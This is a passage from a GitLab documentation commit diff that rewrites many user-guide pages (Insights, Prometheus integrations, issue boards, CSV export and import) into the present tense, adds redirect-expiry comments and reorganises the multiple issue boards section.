GitLab allows you to import all tasks from a Phabricator instance into GitLab issues. The import creates a single project with the repository disabled. diff --git a/doc/user/project/import/tfs.md b/doc/user/project/import/tfs.md index 7b3b11b9519..31f9b200558 100644 --- a/doc/user/project/import/tfs.md +++ b/doc/user/project/import/tfs.md @@ -3,3 +3,6 @@ redirect_to: 'tfvc.md' --- This document was moved to [another location](tfvc.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/import/tfvc.md b/doc/user/project/import/tfvc.md index cbc25552873..65f61a60316 100644 --- a/doc/user/project/import/tfvc.md +++ b/doc/user/project/import/tfvc.md @@ -38,7 +38,7 @@ Advantages of migrating to Git/GitLab: - **No licensing costs:** Git is open source, while TFVC is proprietary. - **Shorter learning curve:** Git has a big community and a vast number of tutorials to get you started (see our [Git topic](../../../topics/git/index.md)). -- **Integration with modern tools:** After migrating to Git and GitLab, you will have +- **Integration with modern tools:** After migrating to Git and GitLab, you have an open source, end-to-end software development platform with built-in version control, issue tracking, code review, CI/CD, and more. diff --git a/doc/user/project/insights/index.md b/doc/user/project/insights/index.md index eaef0b8d69f..a6beb89e3b6 100644 --- a/doc/user/project/insights/index.md +++ b/doc/user/project/insights/index.md @@ -27,19 +27,19 @@ link in the left sidebar: ## Configure your Insights Insights are configured using a YAML file called `.gitlab/insights.yml` within -a project. That file will then be used in the project's Insights page. +a project. That file is used in the project's Insights page. See [Writing your `.gitlab/insights.yml`](#writing-your-gitlabinsightsyml) below for details about the content of this file. NOTE: **Note:** -Once the configuration file is created, you can also +After the configuration file is created, you can also [use it for your project's group](../../group/insights/index.md#configure-your-insights). NOTE: **Note:** -If the project doesn't have any configuration file, it'll try to use +If the project doesn't have any configuration file, it attempts to use the group configuration if possible. If the group doesn't have any -configuration, the default configuration will be used. +configuration, the default configuration is used. ## Permissions @@ -56,11 +56,11 @@ You may also consult the [group permissions table](../../permissions.md#group-me ## Writing your `.gitlab/insights.yml` The `.gitlab/insights.yml` file defines the structure and order of the Insights -charts that will be displayed in each Insights page of your project or group. +charts displayed in each Insights page of your project or group. Each page has a unique key and a collection of charts to fetch and display. -For example, here's a single definition for Insights that will display one page with one chart: +For example, here's a single definition for Insights that displays one page with one chart: ```yaml bugsCharts: @@ -103,8 +103,8 @@ The following table lists available parameters for charts: | Keyword | Description | |:---------------------------------------------------|:------------| -| [`title`](#title) | The title of the chart. This will displayed on the Insights page. | -| [`description`](#description) | A description for the individual chart. This will be displayed above the relevant chart. | +| [`title`](#title) | The title of the chart. This displays on the Insights page. | +| [`description`](#description) | A description for the individual chart. This displays above the relevant chart. | | [`type`](#type) | The type of chart: `bar`, `line` or `stacked-bar`. | | [`query`](#query) | A hash that defines the conditions for issues / merge requests to be part of the chart. | @@ -115,7 +115,7 @@ Insights charts. ### `title` -`title` is the title of the chart as it will be displayed on the Insights page. +`title` is the title of the chart as it displays on the Insights page. For example: ```yaml @@ -187,14 +187,14 @@ Defines the type of "issuable" you want to create a chart for. Supported values are: -- `issue`: The chart will display issues' data. -- `merge_request`: The chart will display merge requests' data. +- `issue`: The chart displays issues' data. +- `merge_request`: The chart displays merge requests' data. #### `query.issuable_state` Filter by the state of the queried "issuable". -By default, the `opened` state filter will be applied. +By default, the `opened` state filter is applied. Supported values are: @@ -208,7 +208,7 @@ Supported values are: Filter by labels applied to the queried "issuable". -By default, no labels filter will be applied. All the defined labels must be +By default, no labels filter is applied. All the defined labels must be applied to the "issuable" in order for it to be selected. Example: @@ -229,7 +229,7 @@ monthlyBugsCreated: Group "issuable" by the configured labels. -By default, no grouping will be done. When using this keyword, you need to +By default, no grouping is done. When using this keyword, you need to set `type` to either `line` or `stacked-bar`. Example: @@ -268,7 +268,7 @@ The unit is related to the `query.group_by` you defined. For instance if you defined `query.group_by: 'day'` then `query.period_limit: 365` would mean "Gather and display data for the last 365 days". -By default, default values will be applied depending on the `query.group_by` +By default, default values are applied depending on the `query.group_by` you defined. | `query.group_by` | Default value | @@ -294,9 +294,8 @@ The `period_field` is automatically set to: - `created_at` otherwise NOTE: **Note:** -Until [this bug](https://gitlab.com/gitlab-org/gitlab/-/issues/26911), is resolved, you may see `created_at` -in place of `merged_at`. -`created_at` will be used instead. +Until [this bug](https://gitlab.com/gitlab-org/gitlab/-/issues/26911), is resolved, +you may see `created_at` in place of `merged_at`. `created_at` is used instead. ### `projects` @@ -304,22 +303,22 @@ in place of `merged_at`. You can limit where the "issuables" can be queried from: -- If `.gitlab/insights.yml` is used for a [group's insights](../../group/insights/index.md#configure-your-insights), with `projects`, you can limit the projects to be queried. By default, all projects under the group will be used. -- If `.gitlab/insights.yml` is used for a project's insights, specifying any other projects will yield no results. By default, the project itself will be used. +- If `.gitlab/insights.yml` is used for a [group's insights](../../group/insights/index.md#configure-your-insights), with `projects`, you can limit the projects to be queried. By default, all projects under the group are used. +- If `.gitlab/insights.yml` is used for a project's insights, specifying any other projects yields no results. By default, the project itself is used. #### `projects.only` The `projects.only` option specifies the projects which the "issuables" should be queried from. -Projects listed here will be ignored when: +Projects listed here are ignored when: - They don't exist. - The current user doesn't have sufficient permissions to read them. - They are outside of the group. In the following `insights.yml` example, we specify the projects -the queries will be used on. This example is useful when setting +the queries are used on. This example is useful when setting a group's insights: ```yaml diff --git a/doc/user/project/integrations/generic_alerts.md b/doc/user/project/integrations/generic_alerts.md index 0e8e082859b..1fbbee36173 100644 --- a/doc/user/project/integrations/generic_alerts.md +++ b/doc/user/project/integrations/generic_alerts.md @@ -3,3 +3,6 @@ redirect_to: '../../../operations/incident_management/generic_alerts.md' --- This document was moved to [another location](../../../operations/incident_management/generic_alerts.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/integrations/kubernetes.md b/doc/user/project/integrations/kubernetes.md index ab43eb2da7e..646c9ed66d5 100644 --- a/doc/user/project/integrations/kubernetes.md +++ b/doc/user/project/integrations/kubernetes.md @@ -3,3 +3,6 @@ redirect_to: '../clusters/index.md' --- This document was moved to [another location](../clusters/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/integrations/project_services.md b/doc/user/project/integrations/project_services.md index 90f91fbaa0d..69e2ea2856c 100644 --- a/doc/user/project/integrations/project_services.md +++ b/doc/user/project/integrations/project_services.md @@ -3,3 +3,6 @@ redirect_to: 'overview.md' --- This document was moved to [Integrations](overview.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/integrations/prometheus.md b/doc/user/project/integrations/prometheus.md index 97be16f8dd3..9793717fdf3 100644 --- a/doc/user/project/integrations/prometheus.md +++ b/doc/user/project/integrations/prometheus.md @@ -19,7 +19,7 @@ There are two ways to set up Prometheus integration, depending on where your app - For deployments on Kubernetes, GitLab can automatically [deploy and manage Prometheus](#managed-prometheus-on-kubernetes). - For other deployment targets, simply [specify the Prometheus server](#manual-configuration-of-prometheus). -Once enabled, GitLab will automatically detect metrics from known services in the [metric library](prometheus_library/index.md). You can also [add your own metrics](../../../operations/metrics/index.md#adding-custom-metrics) and create +Once enabled, GitLab detects metrics from known services in the [metric library](prometheus_library/index.md). You can also [add your own metrics](../../../operations/metrics/index.md#adding-custom-metrics) and create [custom dashboards](../../../operations/metrics/dashboards/index.md). ## Enabling Prometheus Integration @@ -48,7 +48,7 @@ Once you have a connected Kubernetes cluster, deploying a managed Prometheus is Prometheus is deployed into the `gitlab-managed-apps` namespace, using the [official Helm chart](https://github.com/helm/charts/tree/master/stable/prometheus). Prometheus is only accessible within the cluster, with GitLab communicating through the [Kubernetes API](https://kubernetes.io/docs/concepts/overview/kubernetes-api/). -The Prometheus server will [automatically detect and monitor](https://prometheus.io/docs/prometheus/latest/configuration/configuration/#kubernetes_sd_config) nodes, pods, and endpoints. To configure a resource to be monitored by Prometheus, simply set the following [Kubernetes annotations](https://kubernetes.io/docs/concepts/overview/working-with-objects/annotations/): +The Prometheus server [automatically detects and monitors](https://prometheus.io/docs/prometheus/latest/configuration/configuration/#kubernetes_sd_config) nodes, pods, and endpoints. To configure a resource to be monitored by Prometheus, simply set the following [Kubernetes annotations](https://kubernetes.io/docs/concepts/overview/working-with-objects/annotations/): - `prometheus.io/scrape` to `true` to enable monitoring of the resource. - `prometheus.io/port` to define the port of the metrics endpoint. @@ -165,8 +165,8 @@ Installing and configuring Prometheus to monitor applications is fairly straight #### Configuration in GitLab -The actual configuration of Prometheus integration within GitLab is very simple. -All you will need is the domain name or IP address of the Prometheus server you'd like +The actual configuration of Prometheus integration within GitLab +requires the domain name or IP address of the Prometheus server you'd like to integrate with. If the Prometheus resource is secured with Google's Identity-Aware Proxy (IAP), additional information like Client ID and Service Account credentials can be passed which GitLab can use to access the resource. More information about authentication from a @@ -189,7 +189,7 @@ service account can be found at Google's documentation for #### Thanos configuration in GitLab You can configure [Thanos](https://thanos.io/) as a drop-in replacement for Prometheus -with GitLab. You will need the domain name or IP address of the Thanos server you'd like +with GitLab, using the domain name or IP address of the Thanos server you'd like to integrate with. 1. Navigate to the [Integrations page](overview.md#accessing-integrations). @@ -199,9 +199,10 @@ to integrate with. ### Precedence with multiple Prometheus configurations +12345678901234567890123456789012345678901234567890123456789012345678901234567890 Although you can enable both a [manual configuration](#manual-configuration-of-prometheus) -and [auto configuration](#managed-prometheus-on-kubernetes) of Prometheus, only -one of them will be used: +and [auto configuration](#managed-prometheus-on-kubernetes) of Prometheus, you +can use only one: - If you have enabled a [Prometheus manual configuration](#manual-configuration-of-prometheus) @@ -225,16 +226,16 @@ Developers can view the performance impact of their changes within the merge request workflow. This feature requires [Kubernetes](prometheus_library/kubernetes.md) metrics. When a source branch has been deployed to an environment, a sparkline and -numeric comparison of the average memory consumption will appear. On the +numeric comparison of the average memory consumption displays. On the sparkline, a dot indicates when the current changes were deployed, with up to 30 minutes of performance data displayed before and after. The comparison shows the difference between the 30 minute average before and after the deployment. This information is updated after each commit has been deployed. -Once merged and the target branch has been redeployed, the metrics will switch +Once merged and the target branch has been redeployed, the metrics switches to show the new environments this revision has been deployed to. -Performance data will be available for the duration it is persisted on the +Performance data is available for the duration it is persisted on the Prometheus server.  diff --git a/doc/user/project/integrations/prometheus_library/cloudwatch.md b/doc/user/project/integrations/prometheus_library/cloudwatch.md index 70f8a55bb07..c28a1314c75 100644 --- a/doc/user/project/integrations/prometheus_library/cloudwatch.md +++ b/doc/user/project/integrations/prometheus_library/cloudwatch.md @@ -33,4 +33,4 @@ A sample Cloudwatch Exporter configuration file, configured for basic AWS ELB mo ## Specifying the Environment label In order to isolate and only display relevant metrics for a given environment -however, GitLab needs a method to detect which labels are associated. To do this, GitLab will [look for an `environment` label](index.md#identifying-environments). +however, GitLab needs a method to detect which labels are associated. To do this, GitLab [looks for an `environment` label](index.md#identifying-environments). diff --git a/doc/user/project/integrations/prometheus_library/haproxy.md b/doc/user/project/integrations/prometheus_library/haproxy.md index 0fbc49ddad7..fc1463ea92b 100644 --- a/doc/user/project/integrations/prometheus_library/haproxy.md +++ b/doc/user/project/integrations/prometheus_library/haproxy.md @@ -28,4 +28,4 @@ To get started with NGINX monitoring, you should install and configure the [HAPr ## Specifying the Environment label In order to isolate and only display relevant metrics for a given environment -however, GitLab needs a method to detect which labels are associated. To do this, GitLab will [look for an `environment` label](index.md#identifying-environments). +however, GitLab needs a method to detect which labels are associated. To do this, GitLab [looks for an `environment` label](index.md#identifying-environments). diff --git a/doc/user/project/integrations/prometheus_library/index.md b/doc/user/project/integrations/prometheus_library/index.md index 35b111ab2b2..5f9376e19ab 100644 --- a/doc/user/project/integrations/prometheus_library/index.md +++ b/doc/user/project/integrations/prometheus_library/index.md @@ -21,8 +21,8 @@ Currently supported exporters are: - [HAProxy](haproxy.md) - [Amazon Cloud Watch](cloudwatch.md) -We have tried to surface the most important metrics for each exporter, and will -be continuing to add support for additional exporters in future releases. If you +We have tried to surface the most important metrics for each exporter, and +continue to add support for additional exporters in future releases. If you would like to add support for other official exporters, contributions are welcome. ## Identifying Environments diff --git a/doc/user/project/integrations/prometheus_library/metrics.md b/doc/user/project/integrations/prometheus_library/metrics.md index 7ace0ec5a93..a275efce5bb 100644 --- a/doc/user/project/integrations/prometheus_library/metrics.md +++ b/doc/user/project/integrations/prometheus_library/metrics.md @@ -3,3 +3,6 @@ redirect_to: 'index.md' --- This document was moved to [another location](index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/integrations/prometheus_library/nginx.md b/doc/user/project/integrations/prometheus_library/nginx.md index 1757378fb70..de1208ae9ce 100644 --- a/doc/user/project/integrations/prometheus_library/nginx.md +++ b/doc/user/project/integrations/prometheus_library/nginx.md @@ -29,11 +29,11 @@ NGINX server metrics are detected, which tracks the pages and content directly s ## Configuring Prometheus to monitor for NGINX metrics -To get started with NGINX monitoring, you should first enable the [VTS statistics](https://github.com/vozlt/nginx-module-vts) module for your NGINX server. This will capture and display statistics in an HTML readable form. Next, you should install and configure the [NGINX VTS exporter](https://github.com/hnlq715/nginx-vts-exporter) which parses these statistics and translates them into a Prometheus monitoring endpoint. +To get started with NGINX monitoring, you should first enable the [VTS statistics](https://github.com/vozlt/nginx-module-vts) module for your NGINX server. This captures and displays statistics in an HTML readable form. Next, you should install and configure the [NGINX VTS exporter](https://github.com/hnlq715/nginx-vts-exporter) which parses these statistics and translates them into a Prometheus monitoring endpoint. -If you are using NGINX as your Kubernetes Ingress, GitLab will [automatically detect](nginx_ingress.md) the metrics once enabled in 0.9.0 and later releases. +If you are using NGINX as your Kubernetes Ingress, GitLab [automatically detects](nginx_ingress.md) the metrics once enabled in 0.9.0 and later releases. ## Specifying the Environment label In order to isolate and only display relevant metrics for a given environment -however, GitLab needs a method to detect which labels are associated. To do this, GitLab will [look for an `environment` label](index.md#identifying-environments). +however, GitLab needs a method to detect which labels are associated. To do this, GitLab [looks for an `environment` label](index.md#identifying-environments). diff --git a/doc/user/project/integrations/prometheus_library/nginx_ingress.md b/doc/user/project/integrations/prometheus_library/nginx_ingress.md index fdea800c410..1e510296f7d 100644 --- a/doc/user/project/integrations/prometheus_library/nginx_ingress.md +++ b/doc/user/project/integrations/prometheus_library/nginx_ingress.md @@ -27,7 +27,7 @@ NGINX Ingress versions prior to 0.16.0 offer an included [VTS Prometheus metrics ## Configuring NGINX Ingress monitoring -If you have deployed NGINX Ingress using GitLab's [Kubernetes cluster integration](../../clusters/index.md#installing-applications), it will [automatically be monitored](#about-managed-nginx-ingress-deployments) by Prometheus. +If you have deployed NGINX Ingress using GitLab's [Kubernetes cluster integration](../../clusters/index.md#installing-applications), Prometheus [automatically monitors it](#about-managed-nginx-ingress-deployments). For other deployments, there is [some configuration](#manually-setting-up-nginx-ingress-for-prometheus-monitoring) required depending on your installation: @@ -37,7 +37,7 @@ For other deployments, there is [some configuration](#manually-setting-up-nginx- ### About managed NGINX Ingress deployments -NGINX Ingress is deployed into the `gitlab-managed-apps` namespace, using the [official Helm chart](https://github.com/helm/charts/tree/master/stable/nginx-ingress). NGINX Ingress will be [externally reachable via the Load Balancer's Endpoint](../../../clusters/applications.md#ingress). +NGINX Ingress is deployed into the `gitlab-managed-apps` namespace, using the [official Helm chart](https://github.com/helm/charts/tree/master/stable/nginx-ingress). NGINX Ingress is [externally reachable via the Load Balancer's Endpoint](../../../clusters/applications.md#ingress). NGINX is configured for Prometheus monitoring, by setting: @@ -45,11 +45,11 @@ NGINX is configured for Prometheus monitoring, by setting: - `prometheus.io/scrape: "true"`, to enable automatic discovery. - `prometheus.io/port: "10254"`, to specify the metrics port. -When used in conjunction with the GitLab deployed Prometheus service, response metrics will be automatically collected. +When used in conjunction with the GitLab deployed Prometheus service, response metrics are automatically collected. ### Manually setting up NGINX Ingress for Prometheus monitoring -Version 0.9.0 and above of [NGINX Ingress](https://github.com/kubernetes/ingress-nginx) have built-in support for exporting Prometheus metrics. To enable, a ConfigMap setting must be passed: `enable-vts-status: "true"`. Once enabled, a Prometheus metrics endpoint will start running on port 10254. +Version 0.9.0 and above of [NGINX Ingress](https://github.com/kubernetes/ingress-nginx) have built-in support for exporting Prometheus metrics. To enable, a ConfigMap setting must be passed: `enable-vts-status: "true"`. Once enabled, a Prometheus metrics endpoint starts running on port 10254. Next, the Ingress needs to be annotated for Prometheus monitoring. Two new annotations need to be added: @@ -60,6 +60,6 @@ Managing these settings depends on how NGINX Ingress has been deployed. If you h ## Specifying the Environment label -In order to isolate and only display relevant metrics for a given environment, GitLab needs a method to detect which labels are associated. To do this, GitLab will search for metrics with appropriate labels. In this case, the `ingress` label must `<CI_ENVIRONMENT_SLUG>`. +In order to isolate and only display relevant metrics for a given environment, GitLab needs a method to detect which labels are associated. To do this, GitLab searches for metrics with appropriate labels. In this case, the `ingress` label must `<CI_ENVIRONMENT_SLUG>`. -If you have used [Auto Deploy](../../../../topics/autodevops/stages.md#auto-deploy) to deploy your app, this format will be used automatically and metrics will be detected with no action on your part. +If you have used [Auto Deploy](../../../../topics/autodevops/stages.md#auto-deploy) to deploy your app, this format is used automatically and metrics are detected with no action on your part. diff --git a/doc/user/project/integrations/prometheus_library/nginx_ingress_vts.md b/doc/user/project/integrations/prometheus_library/nginx_ingress_vts.md index ec7b1ee6d10..80f29d31341 100644 --- a/doc/user/project/integrations/prometheus_library/nginx_ingress_vts.md +++ b/doc/user/project/integrations/prometheus_library/nginx_ingress_vts.md @@ -27,7 +27,7 @@ GitLab has support for automatically detecting and monitoring the Kubernetes NGI ## Configuring NGINX Ingress monitoring -If you have deployed NGINX Ingress using GitLab's [Kubernetes cluster integration](../../clusters/index.md#installing-applications), it will [automatically be monitored](#about-managed-nginx-ingress-deployments) by Prometheus. +If you have deployed NGINX Ingress using GitLab's [Kubernetes cluster integration](../../clusters/index.md#installing-applications), Prometheus [automatically monitors](#about-managed-nginx-ingress-deployments) it. For other deployments, there is [some configuration](#manually-setting-up-nginx-ingress-for-prometheus-monitoring) required depending on your installation: @@ -37,7 +37,7 @@ For other deployments, there is [some configuration](#manually-setting-up-nginx- ### About managed NGINX Ingress deployments -NGINX Ingress is deployed into the `gitlab-managed-apps` namespace, using the [official Helm chart](https://github.com/helm/charts/tree/master/stable/nginx-ingress). NGINX Ingress will be [externally reachable via the Load Balancer's Endpoint](../../../clusters/applications.md#ingress). +NGINX Ingress is deployed into the `gitlab-managed-apps` namespace, using the [official Helm chart](https://github.com/helm/charts/tree/master/stable/nginx-ingress). NGINX Ingress is [externally reachable via the Load Balancer's Endpoint](../../../clusters/applications.md#ingress). NGINX is configured for Prometheus monitoring, by setting: @@ -45,11 +45,11 @@ NGINX is configured for Prometheus monitoring, by setting: - `prometheus.io/scrape: "true"`, to enable automatic discovery. - `prometheus.io/port: "10254"`, to specify the metrics port. -When used in conjunction with the GitLab deployed Prometheus service, response metrics will be automatically collected. +When used in conjunction with the GitLab deployed Prometheus service, response metrics are automatically collected. ### Manually setting up NGINX Ingress for Prometheus monitoring -Version 0.9.0 and above of [NGINX Ingress](https://github.com/kubernetes/ingress-nginx) has built-in support for exporting Prometheus metrics. To enable, a ConfigMap setting must be passed: `enable-vts-status: "true"`. Once enabled, a Prometheus metrics endpoint will start running on port 10254. +Version 0.9.0 and above of [NGINX Ingress](https://github.com/kubernetes/ingress-nginx) has built-in support for exporting Prometheus metrics. To enable, a ConfigMap setting must be passed: `enable-vts-status: "true"`. Once enabled, a Prometheus metrics endpoint begins running on port 10254. Next, the Ingress needs to be annotated for Prometheus monitoring. Two new annotations need to be added: @@ -60,6 +60,6 @@ Managing these settings depends on how NGINX Ingress has been deployed. If you h ## Specifying the Environment label -In order to isolate and only display relevant metrics for a given environment, GitLab needs a method to detect which labels are associated. To do this, GitLab will search for metrics with appropriate labels. In this case, the `upstream` label must be of the form `<KUBE_NAMESPACE>-<CI_ENVIRONMENT_SLUG>-*`. +In order to isolate and only display relevant metrics for a given environment, GitLab needs a method to detect which labels are associated. To do this, GitLab searches for metrics with appropriate labels. In this case, the `upstream` label must be of the form `<KUBE_NAMESPACE>-<CI_ENVIRONMENT_SLUG>-*`. -If you have used [Auto Deploy](../../../../topics/autodevops/stages.md#auto-deploy) to deploy your app, this format will be used automatically and metrics will be detected with no action on your part. +If you have used [Auto Deploy](../../../../topics/autodevops/stages.md#auto-deploy) to deploy your app, this format is used automatically and metrics are detected with no action on your part. diff --git a/doc/user/project/integrations/prometheus_units.md b/doc/user/project/integrations/prometheus_units.md index ee4f3ed77d4..0c2ce3002ee 100644 --- a/doc/user/project/integrations/prometheus_units.md +++ b/doc/user/project/integrations/prometheus_units.md @@ -3,3 +3,6 @@ redirect_to: '../../../operations/metrics/dashboards/yaml_number_format.md' --- This document was moved to [another location](../../../operations/metrics/dashboards/yaml_number_format.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/issue_board.md b/doc/user/project/issue_board.md index 116602fbbb9..aaf91ae0b40 100644 --- a/doc/user/project/issue_board.md +++ b/doc/user/project/issue_board.md @@ -51,11 +51,54 @@ To learn more, visit [GitLab Enterprise features for issue boards](#gitlab-enter Watch a [video presentation](https://youtu.be/vjccjHI7aGI) of the Issue Board feature. +## Multiple issue boards + +> - [Introduced](https://about.gitlab.com/releases/2016/10/22/gitlab-8-13-released/) in GitLab 8.13. +> - Multiple issue boards per project [moved](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53811) to [GitLab Core](https://about.gitlab.com/pricing/) in GitLab 12.1. +> - Multiple issue boards per group are available in [GitLab Premium](https://about.gitlab.com/pricing/). + +Multiple issue boards allow for more than one issue board for a given project **(CORE)** or group **(PREMIUM)**. +This is great for large projects with more than one team or when a repository hosts the code of multiple products. + +Using the search box at the top of the menu, you can filter the listed boards. + +When you have ten or more boards available, a **Recent** section is also shown in the menu, with +shortcuts to your last four visited boards. + + + +When you're revisiting an issue board in a project or group with multiple boards, +GitLab automatically loads the last board you visited. + +### Create an issue board + +To create a new issue board: + +1. Click the dropdown with the current board name in the upper left corner of the Issue Boards page. +1. Click **Create new board**. +1. Enter the new board's name and select its scope: milestone, labels, assignee, or weight. + +### Delete an issue board + +To delete the currently active issue board: + +1. Click the dropdown with the current board name in the upper left corner of the Issue Boards page. +1. Click **Delete board**. +1. Click **Delete** to confirm. + ## Issue boards use cases You can tailor GitLab issue boards to your own preferred workflow. Here are some common use cases for issue boards. +For examples of using issue boards along with [epics](../group/epics/index.md) **(PREMIUM)**, +[issue health status](issues/index.md#health-status) **(ULTIMATE)**, and +[scoped labels](labels.md#scoped-labels) **(PREMIUM)** for various Agile frameworks, check: + +- The [How to use GitLab for Agile portfolio planning and project management](https://about.gitlab.com/blog/2020/11/11/gitlab-for-agile-portfolio-planning-project-management/) blog post (November 2020) +- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> +[Cross-project Agile work management with GitLab](https://www.youtube.com/watch?v=5J0bonGoECs) (15 min, July 2020) + ### Use cases for a single issue board With the GitLab Workflow you can discuss proposals in issues, label @@ -122,7 +165,10 @@ to improve their workflow with multiple boards. #### Quick assignments -Create lists for each of your team members and quickly drag issues onto each team member's list. +To quickly assign issues to your team members: + +1. Create [assignee lists](#assignee-lists) for each team member. +1. Drag an issue onto the team member's list. ## Issue board terminology @@ -185,41 +231,6 @@ and vice versa. GitLab issue boards are available on GitLab Core and GitLab.com Free tiers, but some advanced functionality is present in [higher tiers only](https://about.gitlab.com/pricing/). -### Multiple issue boards - -> - [Introduced](https://about.gitlab.com/releases/2016/10/22/gitlab-8-13-released/) in GitLab 8.13. -> - Multiple issue boards per project [moved](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53811) to [GitLab Core](https://about.gitlab.com/pricing/) in GitLab 12.1. -> - Multiple issue boards per group are available in [GitLab Premium](https://about.gitlab.com/pricing/). - -Multiple issue boards allow for more than one issue board for a given project or group. -This is great for large projects with more than one team or when a repository hosts the code of multiple products. - -Using the search box at the top of the menu, you can filter the listed boards. - -When you have ten or more boards available, a **Recent** section is also shown in the menu, with -shortcuts to your last four visited boards. - - - -When you're revisiting an issue board in a project or group with multiple boards, -GitLab automatically loads the last board you visited. - -#### Create an issue board - -To create a new issue board: - -1. Click the dropdown with the current board name in the upper left corner of the Issue Boards page. -1. Click **Create new board**. -1. Enter the new board's name and select its scope: milestone, labels, assignee, or weight. - -#### Delete an issue board - -To delete the currently active issue board: - -1. Click the dropdown with the current board name in the upper left corner of the Issue Boards page. -1. Click **Delete board**. -1. Click **Delete** to confirm. - ### Configurable issue boards **(STARTER)** > [Introduced](https://about.gitlab.com/releases/2017/11/22/gitlab-10-2-released/#issue-boards-configuration) in [GitLab Starter](https://about.gitlab.com/pricing/) 10.2. @@ -315,6 +326,9 @@ With swimlanes you can visualize issues grouped by epic. Your issue board keeps all the other features, but with a different visual organization of issues. This feature is available both at the project and group level. +<i class="fa fa-youtube-play youtube" aria-hidden="true"></i> +For a video overview, see [Epics Swimlanes Walkthrough - 13.6](https://www.youtube.com/watch?v=nHC7-kz5P2g) (November 2020). + To group issues by epic in an issue board: 1. Select the **Group by** dropdown button. @@ -432,6 +446,7 @@ the list by filtering by the following: - Assignee - Author - Epic +- Iteration ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/118742) in GitLab 13.6) - Label - Milestone - My Reaction @@ -459,6 +474,7 @@ You can filter by the following: - Assignee - Author - Epic +- Iteration ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/118742) in GitLab 13.6) - Label - Milestone - My Reaction diff --git a/doc/user/project/issues/automatic_issue_closing.md b/doc/user/project/issues/automatic_issue_closing.md index dab79327d6a..6fa2822aa9a 100644 --- a/doc/user/project/issues/automatic_issue_closing.md +++ b/doc/user/project/issues/automatic_issue_closing.md @@ -3,3 +3,6 @@ redirect_to: 'managing_issues.md#closing-issues-automatically' --- This document was moved to [another location](managing_issues.md#closing-issues-automatically). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/issues/closing_issues.md b/doc/user/project/issues/closing_issues.md index 04f1c8e1a4a..45b905f2fb5 100644 --- a/doc/user/project/issues/closing_issues.md +++ b/doc/user/project/issues/closing_issues.md @@ -3,3 +3,6 @@ redirect_to: 'managing_issues.md#closing-issues' --- This document was moved to [another location](managing_issues.md#closing-issues). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/issues/create_new_issue.md b/doc/user/project/issues/create_new_issue.md index 8eec29716c1..53648b53ea3 100644 --- a/doc/user/project/issues/create_new_issue.md +++ b/doc/user/project/issues/create_new_issue.md @@ -3,3 +3,6 @@ redirect_to: 'managing_issues.md#create-a-new-issue' --- This document was moved to [another location](managing_issues.md#create-a-new-issue). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/issues/csv_export.md b/doc/user/project/issues/csv_export.md index af9a6401474..64d1c45c4e0 100644 --- a/doc/user/project/issues/csv_export.md +++ b/doc/user/project/issues/csv_export.md @@ -35,11 +35,11 @@ Among numerous use cases for exporting issues for CSV, we can name a few: ## Choosing which issues to include -After selecting a project, from the issues page you can narrow down which issues to export using the search bar, along with the All/Open/Closed tabs. All issues returned will be exported, including those not shown on the first page. +After selecting a project, from the issues page you can narrow down which issues to export using the search bar, along with the All/Open/Closed tabs. All issues returned are exported, including those not shown on the first page.  -You will be asked to confirm the number of issues and email address for the export, after which the email will begin being prepared. +GitLab asks you to confirm the number of issues and email address for the export, after which the email is prepared.  @@ -53,7 +53,7 @@ Exported issues are always sorted by `Issue ID`. > > **Weight** and **Locked** columns were [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/5300) in GitLab Starter 10.8. -Data will be encoded with a comma as the column delimiter, with `"` used to quote fields if needed, and newlines to separate rows. The first row will be the headers, which are listed in the following table along with a description of the values: +Data wis encoded with a comma as the column delimiter, with `"` used to quote fields if needed, and newlines to separate rows. The first row contains the headers, which are listed in the following table along with a description of the values: | Column | Description | |---------|-------------| @@ -82,4 +82,4 @@ Data will be encoded with a comma as the column delimiter, with `"` used to quot ## Limitations - Export Issues to CSV is not available at the Group's Issues List. -- As the issues will be sent as an email attachment, there is a limit on how much data can be exported. Currently this limit is 15MB to ensure successful delivery across a range of email providers. If this limit is reached we suggest narrowing the search before export, perhaps by exporting open and closed issues separately. +- As the issues are sent as an email attachment, there is a limit on how much data can be exported. Currently this limit is 15MB to ensure successful delivery across a range of email providers. If this limit is reached we suggest narrowing the search before export, perhaps by exporting open and closed issues separately. diff --git a/doc/user/project/issues/csv_import.md b/doc/user/project/issues/csv_import.md index 2cac88b1b29..a052b75ab29 100644 --- a/doc/user/project/issues/csv_import.md +++ b/doc/user/project/issues/csv_import.md @@ -11,7 +11,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w Issues can be imported to a project by uploading a CSV file with the columns `title` and `description`. -The user uploading the CSV file will be set as the author of the imported issues. +The user uploading the CSV file is set as the author of the imported issues. NOTE: **Note:** A permission level of [Developer](../../permissions.md), or higher, is required diff --git a/doc/user/project/issues/deleting_issues.md 